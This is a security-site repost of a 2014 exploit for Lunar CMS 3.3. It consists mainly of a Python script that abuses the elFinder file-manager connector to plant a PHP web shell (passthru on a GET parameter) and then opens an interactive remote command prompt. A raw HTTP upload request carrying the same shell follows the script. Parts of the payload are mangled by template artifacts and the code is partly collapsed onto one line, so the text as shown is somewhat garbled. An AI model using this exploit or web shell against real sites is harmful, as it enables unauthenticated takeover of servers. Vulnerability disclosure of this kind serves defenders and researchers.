首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Lunar CMS 3.3 Unauthenticated Remote Command Execution
来源:zeroscience.mk 作者:LiquidWorm 发布时间:2014-06-24  
#!/usr/bin/env python
#
#
# Lunar CMS 3.3 Unauthenticated Remote Command Execution Exploit
#
#
# Vendor: Lunar CMS
# Product web page: http://www.lunarcms.com
# Affected version: 3.3
#
# Summary: Lunar CMS is a freely distributable open source content
# management system written for use on servers running the ever so
# popular PHP5 & MySQL.
#
# Desc: Lunar CMS suffers from an unauthenticated arbitrary command
# execution vulnerability. The issue is caused due to the improper
# verification of elfinder's upload/create/rename function in the file
# manager. This can be exploited to execute arbitrary PHP code by creating
# or uploading a malicious PHP script file that will be stored in '/files'
# directory.
#
# Tested on: Apache/2.4.7 (Win32)
#            PHP/5.5.6
#            MySQL 5.6.14
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2014-5189
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5189.php
#
# Vendor fix: http://lunarcms.com/Get.html
#
#
# 11.06.2014
#


import cookielib, urllib
import urllib2, sys, os

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 4:
	print '\n\x20\x20[*] Usage: '+piton+' <hostname> <path> <filename.php>\n'
	print '\x20\x20[*] Example: '+piton+' zeroscience.mk lunarcms backdoor.php\n'
	sys.exit()

host = sys.argv[1]
path = sys.argv[2]
fname = sys.argv[3]

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

create = opener.open('http://'+host+'/'+path+'/admin/includes/elfinder/php/connector.php?cmd=mkfile&name='+fname+'&target=l1_XA')
#print create.read()

payload = urllib.urlencode({
							'cmd' : 'put',
							'target' : 'l1_'+fname.encode('base64','strict'),
							'content' : '<?php passthru(
___FCKpd___0
GET[\'cmd\']); ?>' }) write = opener.open('http://'+host+'/'+path+'/admin/includes/elfinder/php/connector.php', payload) #print write.read() print '\n' while True: try: cmd = raw_input('shell@'+host+':~# ') execute = opener.open('http://'+host+'/'+path+'/files/'+fname+'?cmd='+urllib.quote(cmd)) reverse = execute.read() print reverse; if cmd.strip() == 'exit': break except Exception: break sys.exit() # # Using the upload vector: # # POST /lc/admin/includes/elfinder/php/connector.php HTTP/1.1 # Host: localhost # User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 # Accept-Language: en-US,en;q=0.5 # Accept-Encoding: gzip, deflate # Referer: http://localhost/lc/admin/file_manager.php # Content-Length: 443 # Content-Type: multipart/form-data; boundary=---------------------------156802976525302 # Cookie: PHPSESSID=n37tnhsdfs1sgolum477jgqg33 # Connection: keep-alive # Pragma: no-cache # Cache-Control: no-cache # # -----------------------------156802976525302 # Content-Disposition: form-data; name="cmd" # # upload # -----------------------------156802976525302 # Content-Disposition: form-data; name="target" # # l1_XA # -----------------------------156802976525302 # Content-Disposition: form-data; name="upload[]"; filename="shell.php" # Content-Type: application/octet-stream # # <?php passthru(
___FCKpd___0
GET['cmd']); ?> # -----------------------------156802976525302-- # #

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel <= 3.13 - Local P
·Supermicro IPMI/BMC Cleartext
·D-link DSL-2760U-E1 - Persiste
·D-Link hedwig.cgi Buffer Overf
·AlienVault OSSIM av-centerd Co
·D-Link authentication.cgi Buff
·Ericom AccessNow Server Buffer
·Cogent DataHub Command Injecti
·docker 0.11 VMM-container Brea
·AlienVault OSSIM < 4.7.0 - av-
·Rocket Servergraph Admin Cente
·Internet Explorer 8, 9 & 10 -
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved